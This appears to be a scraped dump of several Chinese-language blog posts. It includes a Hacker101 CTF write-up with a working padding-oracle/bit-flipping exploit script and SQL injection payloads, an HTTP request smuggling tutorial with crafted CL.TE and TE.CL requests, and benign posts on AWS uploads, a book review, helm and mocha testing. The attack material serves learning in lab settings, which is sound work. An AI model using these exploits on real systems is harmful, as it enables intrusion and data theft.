iv// iv 為原本的 iv// plain 為明文// middle 代表透過 aes 解密後,但還未經過 xor 的時候的 payload// 'x' 為我們想要把解密後的值透過 xor 後變成的結果公式 1: plain[i] = middle[i] XOR iv[i]公式 2: 'x' = middle[i] XOR new_iv[i]公式 3: 'x' XOR new_iv[i] XOR iv[i] = plain[i]公式 4: new_iv[i] = plain[i] XOR 'x' XOR iv[i] 透過上面公式可以去修改原本的 payload這裡我們先只拿第一段來做修改,先省略掉其他 payload123456原本 iv: 05694ed4efacf438e310a4fc54ff2826原本明文: {"flag": "^FLAG^預期明文: {"id": "1"}\\x05\\x05\\x05\\x05\\x05 (記得不夠是要 padding value)原本的值: 05694ed4efacf438e310a4fc54ff28265a813ad8376339531ea70324a0ce85c8更改後的: 056941dcacf1f620f21087bf1dbb6a7d5a813ad8376339531ea70324a0ce85c8上面可以發現前面 32 bytes 的 iv 已經變了把這個 payload 塞回去得到下面得結果 果然 QQ,原本以為還是要有 key 才能去解開,不能只單純改 id因為原本 id 在第 7 個 block所以改了第 6 個的 block,讓 id 所在的 block 從 3 -> 1但改了第 6 個的 block,解密出來一定會有問題所以要先知道改了第 6 個 block 後的明文,再去回推第 5 個 block 應該要什麼值才能讓更改後的第 6 個 block XOR 後才能解回原本應有的值以此類推,要更改到最面的 iv block 才算完成但全部改完之後出現下面訊息,看來跟上面直接改 id 是一樣的看來 key 是拿去做進一層解密內容使用,所以直接改 id 不需要 key 就可以了,有點白做了 XD 0x03這一題試著把 id 改成單引號發生一件事情SQL Injection 出現了, 所以就需要把 payload 改成 SQL Injection 用的至於為什麼要用 SQL Injection 的原因是因為前一個 flag 只有顯示 title,但內容因為 key 問題所以沒有顯示出來所以只能透過 SQL Injection 去 dump 出資料庫看看有什麼可以幫助解開前一個 flag 的內容大概是長下面的樣子,透過替換掉前面的 FLAG 達到更換 id 以及保留 key 的值123456789{"id": "9 union all select database(),user()", "aa": "xxxxxxxxxxc6d664a03f49c08c$FLAG$", "bb": "3", "key": "rTU2s8qRJ4uRRdLFJbt-YA~~"} 這樣就 dump 出 database 的資訊了(level3 以及 root@localhost 那個) 再來 dump 出 tables dump 出 columns 透過 dump 出來的 tables 和 columns,去把 tracking 列出資料來 發現有一筆資料是對 localhost 運行的結果把 post= 後面的值帶到瀏覽器後發現 flag4 (黑色大標是 flag3,下面小字為內容才是 flag4) 下面整理當時寫出來的 SQL Injection 搭配 Padding Oracle 程式碼 (有點亂 XD)程式基本邏輯為下: 透過 padding oracle 找到原本明文 透過翻轉攻擊構造假 iv 達到預期目標的明文 解完最右邊那一個 block 後,繼續慢慢往左邊一次解一個 block 解下去 要注意的地方是最外層的 for 迴圈一定要從第 9 個往下遞減跑下去每次跑完如果 request 量太多的導致中斷連線的話會顯示下一個要解的 block,以及下一個 payload 應該帶什麼,去防止中斷因為這邊是直接一次 call 256 的 request 去找比較快,所以很容易斷 XD最後面要注意的是 wantedPlainText 一定要是 16 bytes 唯一組才可以 想要直接使用這個程式碼的直接改兩個大點即可 originalPayload 的那一段 base64 改成正常 request 的 base64 把 http://34.74.105.127/548dbda597/?post= 改成你自己的即可 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596const getPayload = (paddingOracleValue, paddingValue, answer) => { answer.reverse() answer[paddingOracleValue] = paddingValue answer.reverse() return answer.toString('hex')}const setBlock = (allBlocks, targetBlock, paddingOracleValue, paddingValue, answer) => { const startPosition = targetBlock * 32; const previousBlockEndPosition = startPosition - 32; let first = allBlocks.substring(0, previousBlockEndPosition); let end = allBlocks.substring(startPosition); return first + getPayload(paddingOracleValue, paddingValue, answer) + end;}const encodeHexToBase64 = (payload) => { return Buffer.from(payload, 'hex').toString('base64').replace(/\\=/g, '~').replace(/\\//g, \"!\").replace(/\\+/g, \"-\")}const decodeBase64ToHex = (payload) => { return Buffer.from(payload.replace(/\\~/g, '=').replace(/\\!/g, \"/\").replace(/\\-/g, \"+\"), 'base64').toString('hex')}(async () => { const axios = require('axios'); // original let originalPayload = decodeBase64ToHex(\"H6KJsPhBWKtdEt3LZnTuf8K5!-B69-TxsTNIze9!0Wrss6wGzNUKwi-aaz8WfDVnBrb2UsO7tuAhRej9F05Fexm6MihRiLDQO1vNGPdAgGZAWo11!Mw1tAdnhvdOZra3gJ99qA1adxSD!s97jVbcizRIXZ!MHVKw4jVNAplCiqzYtXJNNhxCXsJIPRKDptSLgukPWBN!wEY2e1nCQPYVrQ~~\"); for (let i = 3; i > 0; i--) { let block = i let plain = [] let plainText = []; let rawPayload = originalPayload.substring(0, (block + 1) * 32) let previousIv = originalPayload.substring((block - 1) * 32, (block) * 32) let answer = Buffer.from(\"00000000000000000000000000000000\", 'hex'); for (let paddingOracleValue = 0; paddingOracleValue < 16; paddingOracleValue++) { let job = [] for (let index = 0; index < 256; index++) { let paddingValue = index; let blocksToBeDecrypt = setBlock(rawPayload, block, paddingOracleValue, paddingValue, answer) payload = encodeHexToBase64(blocksToBeDecrypt) job.push(axios.get(`http://34.74.105.127/548dbda597/?post=${payload}`)) } let results = await Promise.all(job).catch((error) => { console.log(error) }) for (let index = 0; index < results.length; index++) { let paddingValue = index; if (!results[index].data.includes('PaddingException')) { let originalIv = Buffer.from(rawPayload, 'hex') let tempPlainText = paddingValue ^ (paddingOracleValue + 1); plainText.push(tempPlainText); plain.unshift(Buffer.from([tempPlainText ^ originalIv[(block) * 16 - 1 - paddingOracleValue]]).toString('hex')) answer.reverse() let nextPaddingOracleValue = (paddingOracleValue + 2); for (let index = 0; index < plainText.length; index++) { answer[index] = plainText[index] ^ nextPaddingOracleValue; } answer.reverse() console.log(plain); break; } } } const wantedPlainText = [ '{\"id\": \"9 union ', 'all select group', '_concat(headers)', ' ,2 FROM trackin', 'g\", \"b\": \"bbbbbb', 'bbbbbbbbbbbbbbbb', 'bbbbbbbbbbbbbbbb', 'bbb\", \"bbbbbb\":\"', 'YA~~\"}\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n' ] const originalIv = Buffer.from(previousIv, 'hex') const change = plain.map(item => parseInt(item, 16)) console.log('old: ' + Buffer.from(change).toString()); console.log('new: ' + wantedPlainText[block - 1]); const originPlainText = Buffer.from(change) const wanttedPlainText = Buffer.from(wantedPlainText[block - 1]) const wanttedIv = [] for (let index = 0; index < wanttedPlainText.length; index++) { wanttedIv.push(originalIv[index] ^ originPlainText[index] ^ wanttedPlainText[index]) } let newIv = Buffer.from(wanttedIv).toString('hex') let part1 = originalPayload.substring(0, (block - 1) * 32); let part3 = originalPayload.substring((block) * 32); originalPayload = `${part1}${newIv}${part3}` console.log(`replaced block: ${block}`); console.log(`next block: ${block - 1}`); console.log(`new payload: ${encodeHexToBase64(originalPayload)}`); } axios.get(`http://34.74.105.127/548dbda597/?post=${encodeHexToBase64(originalPayload)}`).then((response) => { console.log(response.data) })})(); 後記這題花了我很多時間解決 XD本來想說最後的 SQL Injection 就不要解了,反正大概知道怎麼弄但還是很想把它解出來,所以就還是想辦法透過程式自動化去找到最後的 flag只是過程中一直修改 wantedPlainText 再加上還會一直斷線真的是有夠麻煩 XD","link":"/2019/10/20/hacker101-part6/"},{"title":"如何用 AWS API Gateway 和 Lambda 上傳和下載檔案 -- Part 2","text":"前言這次記錄是介紹,只透過 AWS API Gateway 不加上 AWS Lambda 做檔案的上傳上一篇因為 Lambda 的特性是 Request 和 Response 都要是 JSON所以必須在 API Gateway 必須要做 body mapping 的調整e.g 透過 Binary Support 或是 Base64Enconde 的方式處理那這次的紀錄是讓 AWS 的 API Gateway 的 Upload 直接通往到後面的 Server 端 AWS API Gateway在上一篇,透過 Lambda 和 API Gateway 完成檔案上傳和下載之後出現了一個疑問,API Gateway 直接到 Server 這端,需不需要調整東西呢 ? 在這樣的想法下,做了一個簡單的實現 在 API Gateway 新增一個 API /upload (POST Method) 用 nodejs 啟動 server (記得把 body-parser 改成 text 也支援的設定)在這樣的實驗之下,發現 Request 的 Content-Type 只有帶 multipart/form-data並沒有帶後面的 Boundary,這樣會沒有辦法去 Parse 上傳的檔案或是 text那會這樣的原因只會有一個,那就是 API Gateway 對我的 Headers 做了手腳 後來的解決方式,是把設定 API Gateway 為 Proxy,就可以讓 bounday 成功 pass 到後端 Server那這後面就會介紹如何設定 API Gateway (基本上就只有一個地方,Integration Request & Integration Response) Upload只要把 HTTP Proxy Integration 打勾即可,不用像上一篇要到其他地方做設定 ServerUpload12345678910const express = require('express')const app = express()const bodyParser = require('body-parser')app.use(bodyParser.text({type: '*/*'}))app.post('/upload_file', (req, res, next) => { console.log(req.body); console.log(req.headers); res.json({})})app.listen(8080) DEMOUpload從上傳的地方會看到 content-type 最後面會出現 boundary如果 API Gateway 沒有設成 Proxy 的話,是不會出現 不會出現的話,會沒辦法用 content-type 後面的 boundary 去 parse 檔案的因為檔案之間會用 boundary 去區分,沒了這個就沒辦法識別傳了什麼上來","link":"/2017/11/15/handle-upload-download-file-with-Lambda-and-API-Gateway-2/"},{"title":"How Minds Change (中譯 - 如何讓人改變想法) 心得","text":"前言這本書用科學的方式很深刻探討了想法改變,書中提了很多不同例子,也舉了很多不同研究關於說服,而這些研究都有很驚訝的共通點。這些共通點我在其他不同書中都有看過類似的建議,但那往往是出於經驗談。但這本書用很科學的方式解釋了這些事情,以及為何這些事情有效。以下就簡單介紹我印象深刻的幾個點以及比較容易分享的部分。 同婚故事裡面有提到幾段故事關於當時 LGBT 遊說支持同婚或是墮胎合法化的例子,這邊舉例一個從反對同婚到支持同婚的案例,而這樣的想法改變只在短短不到 25 分鐘。 一位住在加州 70 幾歲的男性,他是不支持同婚。遊說員問了他一個問題有沒有結過婚?接著這位男性就開始訴說著自己的故事,43 年的婚姻,太太在 11 年前去世,男性開始陳述妻子過世前的情況。遊說員說:「11 年獨處的似乎很漫長」。男性表示:「這讓你有很多時間思考」。男性開始回憶與太太的美好的回憶。而過了ㄧ會,男性表示:「我希望我住在對面的同志也能快樂,他們人很好,不會給其他人造成麻煩。他們在一起很幸福,就像我跟我太太一樣」。經過一陣閒聊後,遊說員問要是哪天投同性婚姻公投,你會怎麼蓋?他說:「這次我會蓋贊成」。 你會發現整段對話,不需要任何證據,而是讓他敘述著自己過往的經驗,給他思考自己想法的時間。思考那些沒有仔細思考的事,運用他們生活中的點點滴滴,協助發展出不同的觀點。 白金/藍黑洋裝還記得 2015 風靡全球白金/藍黑洋裝的故事嗎?書中有提到科學家對於這個現象非常感興趣,在他們研究的過程,發現大腦會偷偷你解決掉不確定性,而解決掉這種不確定性作法是根據大腦之前的經驗。 裡面有提到會看到白金顏色的人,大部分都是長期在自然光下待越久的人,大腦就會漸漸過濾掉藍光,最終你看到就是白金色。而長期在人造黃光下的人,大腦會減少黃光,最終看到的就是藍黑顏色。所以不同大腦處理的方式不同,看到的結果也就不同。 這證明了一件事情,即使有相同的真相擺在眼前,根據不同人的經驗,依舊會有不同樣的結論。可以想像單就一件洋裝就可以在網上吵翻天,就也不難想像工作中可能要有共識這件事又是難上加難。所以有時候討論大家看到什麼,不如討論大家怎麼看到,為何看到這樣會來得更有意義。 提問的順序而關於同樣的真相,書中有提到一個實驗。光是提問的順序改變,竟然結論就卻會是不一樣的。簡單來說,請兩組受試者觀察一個人的生活紀錄。而這個人的生活紀錄有時候顯得外相,有時候顯得內向。 研究人員就會問兩組受試組同樣的問題,但順序會顛倒過來。問題是:「他適不適合當房仲?」,再來就是問:「他適不適合當圖書館員」,另一組則是反過來問。而另一組先問圖書館員的組別,他們想到的都是他喜歡獨處的一面,應該不會喜歡當房仲。 同樣的證據,被不同的問題挑起不同的動機和思路之後,就提出了不同的結論。而在遭受質疑的時候,會找出證明自己直覺地證據。 想法轉變過程其實我們大腦對不同東西都有不同的預測模型。例如把蛋丟到地上,你會預期它破掉。但當預期模型跟現實有些出入,這時就會大腦就會偷偷進行更新。例如點了外送發現少一個漢堡,你就學會之後可能不要點這家,或是不要買這家的漢堡等等,而這些過程可以稱被為「同化」以及「調適」。 書中舉例說如果你學會用雞肉做一道新的料理,這就叫做同化,你把這道料理的知識吸收後,用了與雞肉無關的材料,做出類似的料理,也只是一種更新,架構上並無太大的改變。然而,如果是你參觀大型養雞場,發現有一個八條腿的雞,並且要用沒有腿的雞當作飼料,當下你就會覺得很驚訝,此時你的架構就會有重大更新原來有這樣的事存在,這個過程叫做「調適」。 就像是小孩第一次看到狗,爸媽會跟他說這是狗。接著小孩看到馬一樣有四條腿,會說是狗。但爸媽會跟他說這是馬,此時小孩就會更新自己的模型。這樣現象也可以被稱為認知失調,當眼前越來越多不協調的事情,而現有模型無法解決,總有一天不得不改變,會開始產生出「我可能錯了」的想法。 情感臨界點書中有提到一個實驗要測試,究竟到怎樣程度的不協調感,才會讓一個人從「同化」轉向「調適」。這個實驗簡單來說是模擬一場總統大選,會有不同受試者,這些受試著會接收 10% 20% 40% 80% 不一樣程度的總統候選人負面資訊,受試著可以自由決定看多還是看少。 結果發現只接收 10% or 20% 資訊的人,反而對他們的候選人更加死忠。這些人為了減少認知失調的程度,會用不同的方式去解釋這些資訊,並以偏向同化的方式更新到自己的模型中。而 40% 80% 組別,則是變得對候選人很負面,完全移情別戀。不過並不是每個人的臨界點都一樣,這完全取決於個人,但就是每個人都有這個臨界點。 我自己覺得這項實驗也間接證明了作者在書中前面提到過,他以為把真相擺出來在那邊,民眾就會了解事實,但事實卻不是這樣。我在想也許只是臨界點還沒到罷。 其實當時看到這裡我覺得有點像是 PUA 的概念,因為被 PUA 的人會不斷去解釋 PUA 者的行為去合理化他,除非模型更新,否則很難跳出來。 大腦自我保護機制除了接受超過臨界點會開始發生調適之外,書中還提到一個實驗。科學家測試民眾對於政治和非政治性不同議題,給於反駁論點後,發現非政治性的議題民眾比較容易軟化,而政治性議題民眾的大腦會進入到「戰鬥或逃跑」的模式,腎上腺素暴增。因為大腦首要的目標就是保護自己,而這個自己不止物理上,還包含態度和價值觀等等心理上的自我。 想法改變的機緣我自己覺得這段故事很精彩,就不劇透給各位。但大概是在討論同溫層這件事,書中提到是因為「離開」才有會「想法改變」,而不是「想法改變」才會有「離開」的行為,這離開的共通點在於失去「歸屬感」。裡面提到有些人因為不得不的原因而需要離開。在離開後與原本仇視的那群人實際接觸才發現,那群人跟他想像中完全不一樣。此時想法才開始有所不同。簡單來說,與外界有不同的接觸後,想法也開始有所改變。而這些故事中提到與外界的接觸時,外界都是給予一種開放和擁抱的心態去對待他們,才讓他們想法產生改變 部落心理書同提到一個團體認同的實驗,一個研究團隊假裝是夏令營顧問,舉辦一個夏令營,將 22 大約在 12~13 歲的男孩,用不同的巴士載到兩個鄰近的營地,且並不知道彼此的存在。在各自生活一段時間後,研究團隊故意告訴他們有另一個隊伍的存在。接著就舉辦一些活動,像是拔河棒球等等。這兩對選手會互相謾罵,抱怨對手的比賽手段很糟糕,甚至在就寢時間,兩隊都會抱怨另一對很糟糕,說他們糟透了。 但畢竟這個影響因素很多,於是又有單純在實驗室情境下,去掉兩組人的顯著差異,單純告訴受試者是屬於某一組,而不屬於另一組。這樣的概念拿來做了很多實驗,最後發現只要有任何明顯的共同特點,都會形成一個團體。而在「我們」的概念出來後,「我們」就會開始厭惡「他們」。一但有這個區分,就會想要把利益盡量導入到「我們」這邊,而不是「他們」那邊。而且相較於實際的對錯,更在意自己能不能當上團體裡的好成員,只要團體能滿足這方面的需求,就會寧願與夥伴相處愉快,而選擇犯錯。 看到這裡就知道為什麼有些教溝通管理的書都會用「我們」,而不是我和你,去展開一個溝通。因為當出現了「我們」和「他們」的情況出現,接下來就是對立的立場。所以要展開一個良好的溝通,應該是要以「我們」的立場去展開,因為在這場對話中,不分你我,都是同一個陣線的。 著名的穀倉效應也是這種概念,但開始分你我的時候,基本上就不用做事情了。所以我在想這應該也是組織改組的用處,因為要打破隔閡才有辦法消彌「他們」這種對立面出現。 協助思考的步驟這段標題我很難下,因為書中有提到「街頭知識論」「深度遊說」「動機式晤談」等等不同方式,但這些共通點都是協助對方去思考,如何去推論出它現有的結論。不過這些方式也有針對不同的主題,而我就以「街頭知識論」的步驟為主來進行介紹。 建立融洽的關係:你要讓對方知道沒有任何敵意,就算表達任何想法別害怕丟臉。你就是像個透明人一樣,請他們談談自己、談他們的生活。千萬別認為這不重要,因為大家都想要有人傾聽,想要覺得你會傾聽他們想說的話。 請對方提出一項主張:就像知道對方要會說什麼,你也要讓對方自己講出來。 確認主張的內容:以你自己的話,向對方復述主張的內容,並得到對方的同意。 澄清對方的定義:大多數論證的問題,在於雙方是在定義不同的情況下各講各的,所以要先確認對方的定義。 找出對方的信心水準:問問他們 0~100 對於這個主張打個分數。 找出他們如何達到這樣的信心水準:接著就可以開始問為什麼不是 0 或 100 分?簡單來說就是去問對方,是因為什麼理由,讓他有這樣的信心。 詢問對方,曾經用什麼方法,來判斷自己的理由多充分:基本上可以使用蘇格拉底的反詰法,但這只是一種方式,這一步的方式無窮無境,而是要根據對方分享的內容來決定要如何繼續下去 聆聽,摘要,重複:基本上就是把前面步驟跑一次,但如果對方忽然停止說話,千萬別去打擾他的思維,因為他正在進行反思。 與對方道別,但建議對方,日後可以讓對話繼續下去 其實從這邊不難發現幾個重點 尊重並傾聽對方的故事 不帶任何立場去了解對方如何思考 不給對方思考的結論有任何批評,而是以反問的方式讓他多解釋一些 書中提到「深度遊說」「動機式晤談」大多是一樣的作法。不過在深度遊說有提到一件事,在遊說的過程如果少掉說故事的橋段,整個遊說效果就會很差。而講的故事不一定是要你自己的,可能是同樣受這個議題影響的別人的故事也沒問題。 有些溝通管理的書也會教說用好奇心驅使去開啟這個對話,因為好奇心是最不帶有任何立場的一種心態,以一種我真的很好奇你怎麼想的角度去請教對方,並好好聆聽下去。我相信這也是為了防止對方的大腦進入到「戰鬥或逃跑」的機制,因為一但進入到這個模式,溝通基本上是無法進行下去。 另外我也解讀成即使你有強力的論證,其實也不該在一開始就提出來。而是在整個對話中聆聽完對方的想法後,再來提出你自己的想法或是看過的論證,接著再來反問對方的想法是什麼,但別與對方爭論,這樣會更有效果。(這段也是深度遊説中的一部分) 而上述提到的技巧在書中作者有提到,有一位心理學家把這些歸類在「技術反駁」,而有另一個種類是屬於「主題反駁」。而「主題反駁」是基於事實在進行討論,像是在科學界、醫學界、學術界彼此都重視誠信的環境,就會是首選的技巧。 最後問問自己為什麼想要改變別人想法作者在書的後面留下一個問題,並希望把這個問題加在前面方法的第一個步驟:「為什麼想要改變別人想法」?配上作者給的例子加上我自己的解讀,假設是在工作上遇到一個相處融洽合作無間的同事,但他是有神論者,然後你是無神論者,那有必要改變他的信仰嗎?而你改變的目的是什麼? 另外因為很多人之所以產生衝突是因為立場不同,並不是真的有什麼利益問題。如果用辯論的方式來處理分歧會非常危險,因為會有贏輸家的問題,而沒有人想當輸家。更好的方式,應該是問問為什麼各方對事物的看法不同。 最後作者提到一個溝通專家葛洛柏曼,他說開放式溝通的三大支柱:透明度、好奇心、同情心。這點是不是有點回應到前面提到的呢? 後記這篇想要分享的內容真的太多,很難用一篇文章就講完全部。所以還是非常推薦各位直接去讀這本書,我相信會帶來一些不同的啟發,後續有想到什麼補充再放上來分享。","link":"/2023/07/18/how-minds-change/"},{"title":"helm 語法筆記","text":"前言helm 是一個 k8s 設定檔管理的一種工具,這邊是紀錄一些比較特別的用法,避免以後忘記。 架構heml 的架構大概如下 12345|--Chart.yaml|--values.yaml|--templates|----_helpers.tpl|----deployment.yaml 基本取值基本上 templates > deployment.yaml 就是 outline,實際的值都會放在 values.yaml 裡面,而在 template 簡單使用的方式大概有以下兩種。 123# deployment.yamlxxx: {{ .Values.xxxx }}name: {{ .Chart.name }} # 會拿 Chart.yaml 裡的東西 對應到 values.yaml 和 Chart.yaml 格式是這樣 1234# values.yamlxxx: 1# Chart.yamlname: helm-test 而在 deployment.yaml 裡面也可以拿 _helpers.tpl 裡面的東西,最簡單的就是透過 include "test.name" . 去拿。 12# deployment.yamlname: {{ include \"test.name\" . }} 而在 _helpers.tpl 裡面是這樣宣告的 123{{- define \"test.name\" -}}{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix \"-\" }}{{- end }} 不同 scope但因為有 array 的關係,所以在 helm 可以這樣用 123{{- range .Values.list }}name: {{ .name }}{{- end}} 對應到 values.yaml 123othervalue: coollist: - name 但如果想在這個 range scope 裡面使用 .Values.othervalue 是沒辦法的,因為 scope 關係,所以必須改用 $ 這個全域變數取得最上層的 scope,變成 $.Values.othervalue 就可以在 range scope 裡面使用 1234{{- range .Values.list }}name: {{ .name }}othervalue: {{ $.Values.othervalue }}{{- end}} 而對應到 _helpers.tpl 的話,一樣會有 scope 問題,所以必須把 . 改成 $ 才可以正常取值。 12345678{{- range .Values.list }}name: {{ .name }}othervalue: {{ $.Values.othervalue }}somename: {{ include \"test.name\" $ }}{{- end}}# 對比在外層的使用方式othervalue: {{ .Values.othervalue }}somename: {{ include \"test.name\" . }} dry-run另外寫完可以直接在 local 用 dry-run 的方式確認是否設定正確 (在 Chart.yaml 同個目錄下)helm template {name} . --dry-run --debug 也可以指定特定 valueshelm template {name} . --dry-run --debug -f values/staging.yaml 後記以上簡單記錄使用方式,有遇到更特別再陸續補上。 參考 https://helm.sh/docs/chart_template_guide/debugging/ https://helm.sh/docs/chart_template_guide/control_structures/#looping-with-the-range-action https://helm.sh/docs/chart_template_guide/variables/","link":"/2021/11/24/helm-note/"},{"title":"HTTP Request Smuggling (HTTP 請求走私)","text":"什麼是 HTTP Request Smuggling ?今日常見的網頁應用程式往往會有多一層 server 的存在請求 –> front-end server –> back-end serverfront-end server 接收到請求的時候,會轉發到 back-end server 去處理 http request smuglling 的漏洞就是出現在『轉發』到 back-end server 這裏有時候為了效能關係,front-end server 到 back-end server 這一段會把所有請求塞在同一段 TCP Connection 裡面 (重複利用 TCP Connection),如下圖 當所有請求集中在一起轉發到 back-end server 時如果在這之中有不合法的請求的話,會出現什麼樣的狀況呢?此不合法的請求會被當成『下一個』請求被 back-end server 處理這就是 HTTP Request Smuggling 攻擊 HTTP Request Smuggling 原理主要是透過 Content-Length 以及 Transfer-Encoding 此兩個標頭可以去構造出此攻擊,這邊複習一下這兩個標頭的意義 Content-LengthContent-Length 指的就是用 POST Method 時帶入的 data 的長度以此範例來說,總共為 11 bytes,那 Content-Length 就是 11(此長度不含 \\r\\n\\r\\n,詳細 HTTP 組成可參考此 HTTP/1.1 — 訊息格式 Message Format) 123456POST /search HTTP/1.1Host: xxxxxxxxContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling Transfer-EncodingTransfer-Encoding 是為了解決上一個標頭 Content-Length 的問題而出現的另一個計算 message body 的方式詳細可以參考 HTTP 协议中的 Transfer-Encoding 這邊總共分為三個主體 1. 內容長度 (16 進位) 2. 主要內容 3. 結束 以下面的例子來說 1. 內容長度為: b 2. 內容為: q=smuggling 3. 結束: 0 第二點的內容是不包含 \\r\\n 的除非請求本身不是 POST,需要直接結束的話則需要把 \\r\\n 帶進去,且要計算長度 12345678POST /search HTTP/1.1Host: xxxxxxxxContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedbq=smuggling0 而 HTTP 為了預防此兩個標頭同時使用所以當這兩個標頭同時出現的時候,會忽略 Content-Length 這個標頭再加上 front-end 和 back-end server 處理此兩個標頭的方式可能不一樣 代表說當以下情況出現時front-end 支援 Content-Length 但不支援 Transfer-Encodingback-end 支援 Content-Length 支援 Transfer-Encoding如果我同時送了兩個標頭過去的話,front-end 就只會處理 Content-Length 格式的內容而 back-end 就只會處理 Transfer-Encoding 格式的內容造成不一致的現象,這造成 HTTP Request Smuggling 漏洞的問題原因之一 反過來說front-end 支援 Content-Length 支援 Transfer-Encodingback-end 支援 Content-Length 但不支援 Transfer-Encoding也會造成不一致的現象,也是問題原因之一 上面兩個例子各代表為 CL.TE vulnerabilities 以及 TE.CL vulnerabilitiesCL = Content-LengthTE = Transfer-Encoding順序代表了 front-end.back-end,簡單來說就是看誰支援什麼 構造 HTTP Request SmugglingCL.TE基本請求的概念如下12345678POST / HTTP/1.1Host: xxxxxxxxContent-Length: 13Transfer-Encoding: chunked0SMUGGLED 因為前端支援 CL,所以就先用 CL 把要偷渡的請求先放在最下面並且用一個 0 放在前面代表著 TE 的結束符號當請求到 back-end 的時候POST 到 0 那一段就會是一個 reuqestSMUGGLED 那一段就會是下一個 request 這邊根據參考資料的網站去做一下實驗因為題目說要構造出 GPOST 到 back-end 處理 先試著對 front-end server 做 GPOST 得到此回應 接下來就是要把 GPOST 偷渡在 request 裡面送到 back-endPayload 為下:1234567891011POST / HTTP/1.1Host: xxxxxxxxContent-Length: 29Transfer-Encoding: chunked0GPOST /test HTTP/1.1---- 不包含此行 記得要有 \\r\\n 插在中間才代表 request 的結束不然會出現 timeout 或是 invalid request 的問題而在最後面的 GPOST 需要兩個 \\r\\n這樣的 Content-Length 計算是需要包含 \\r\\n\\r 一個 byte\\n 一個 byte 所以從 0 開始那一段0\\r\\n -> 3 bytes\\r\\n -> 2 byteGPOST /test HTTP/1.1\\r\\n -> 22 bytes\\r\\n -> 2 bytes總計為 29 bytes 第一次送 request 會得到正常的請求 第二次送,因為前一次 request 走私了一個 request所以 response 會回應到此次 request 上就得到 Unreconize GPOST Method 了 TE.CL基本請求的概念如下1234567891011POST / HTTP/1.1Host: xxxxxxxxContent-Length: 3Transfer-Encoding: chunked8SMUGGLED0---- 不包含此行 因為前端支援 TE,所以就先用 TE 把要偷渡的請求先放在最中間再微調 CL 的長度,讓 back-end 只處理到 TE 的第一個主體,這邊要注意是 CL 的設置,長度要設置到 TE 的第一個主體結尾 (包含 \\r\\n)以上面的例子來說,CL 長度要填到 8\\r\\n 為止 (3 bytes)後面就放要走私的請求即可 這邊根據參考資料的網站去做一下實驗第一個要注意的點是要偷渡的 request 長度GPOST /test HTTP/1.1\\r\\n -> 22 bytes\\r\\n -> 2 bytes24 bytes 轉成 16 進位變成 16 第二個要注意的點是 CL 長度為 416\\r\\n -> 4 bytes 12345678910111213POST / HTTP/1.1Host: xxxxxxxxContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunked16GPOST /test HTTP/1.10---- 不包含此行 第一次送 request 會得到正常的請求 第二次送,因為前一次 request 走私了一個 request所以 response 會回應到此次 request 上就得到 Unreconize GPOST Method 了 TE.TE還有一種是利用 front-end 和 back-end 對 TE 不同的解析方式去攻擊透過帶入讓 server 混淆的 TE,可以藉此讓 server 不去解析 TE而改去解析 CL 舉例來說帶入 Transfer-Encoding: cowfront-end server 如果把它判別成錯誤的標題,此時會轉去判斷 CL這樣攻擊就是 CL.TE 攻擊了 反過來是 back-end server 解析錯誤,改轉去判斷 CL 的話那就是 TE.CL 攻擊了 根據網站去做攻擊實驗此實驗是 TE.CL 攻擊,代表 back-end server 針對 TE 解析有誤 123456789101112POST / HTTP/1.1Host: ac1b1fd31f891d6c80bb2c930035000c.web-security-academy.netContent-Length: 4Transfer-Encoding: chunkedTransfer-Encoding: cow16GPOST /test HTTP/1.10--- 不包含此行 byte 算法跟前面的 TE.CL 一樣 如果此漏洞是 front-end server 針對 TE 有解析問題的話Payload 和算法就要改成 CL.TE 的方式了 第一次送 request 會得到正常的請求 第二次送,因為前一次 request 走私了一個 request所以 response 會回應到此次 request 上就得到 Unreconize GPOST Method 了 後記上面簡單的根據自己理解的意思去說明了一下如何使用 HTTP Request Smuggling 攻擊其他更詳細的可以參考下面資料,都有提供 lab 去做攻擊而且官方寫的都非常詳細,非常建議去看看和玩玩看 lab 參考資料 What is HTTP request smuggling Finding HTTP Request Smuggling Exploiting HTTP Request Smuggling HTTP Desync Attacks: Request Smuggling Reborn 此文章是作者如何繞過 PayPal 登入機制所寫的","link":"/2019/09/30/http-smuggling/"},{"title":"關於『測試』這件事","text":"為什麼要測試?確保你程式的結果跟你預期所想的一樣那這樣有什麼好處?這樣大概會讓你少加班好幾小時吧 …. 下面我會介紹如何用 mocha 去做測試小弟我對測試並沒有鑽研到很深的地步,如果有任何奇怪的地方,歡迎指教 ~ 介紹測試是為了確保你的程式結果跟你預期所想的一樣那我們又該如何去測試?那又該測試什麼東西? 在這邊我把該測試的東西分成三個方向,由小到大這篇文章重點會放在 Unit Test 的部分,其他會以 Unit Test 的概念延伸說明 Unit Test (本篇重點)測試你的 function 有沒有輸出正確結果 API Test測試跟 API 相關的 Unit 有沒有正確執行 User Story Test測試整個使用情景有沒有跟使用者所想的一樣 準備在開始要做測試之前需要安裝以下幾樣東西1234// mocha 測試主要會用到的東西// chai 一個很好用的 assertion library// axios 發 request 用的 librarynpm install mocha chai axios 該建立的資料夾 12345|--- package.json|--- node_modules|--- test| |--- test.js 如何測試想像一下我們現在有一個需求進來了『我要把我丟進去的數字都變成一個陣列然後回傳回來』 所以根據這個狀況我可以列出一個測試的方式12345678910// First Test Case in test.jsconst {assert} = require('chai')describe('Unit Test', function() { it('Test function with one number', function () { const result = transformToArray(1) assert.equal(typeof [], typeof result) assert.equal(1, result.length) });})測試列出來了,但是程式完全還沒寫於是接下來先寫主要功能的程式 12345678// 這程式想放哪都可以,記得 require 近來就好function transformToArray (number) { return [number]}transformToArray(1)// result should be [1] 程式寫出來之後,可以正式執行測試了依照這個 test case 我們的程式是有正確執行的 接下來我在列出另一個 test case123456789101112131415// First Test Case in test.jsconst {assert} = require('chai')describe('Unit Test', function() { it('Test function with one number', function () { const result = transformToArray(1) assert.equal(typeof [], typeof result) assert.equal(1, result.length) }); it('Test function with multiple numbers', function () { const result = transformToArray(1, 2, 3, 4) assert.equal(typeof result, typeof []) assert.equal(result.length, 4) })}) Oops, test case 出錯了,代表我的程式爆炸了這時候該怎麼辦?那就是回去繼續修改我的程式讓他可以通過這個 test case 進行修改後,程式變成這樣 123456789// Version 2 程式const 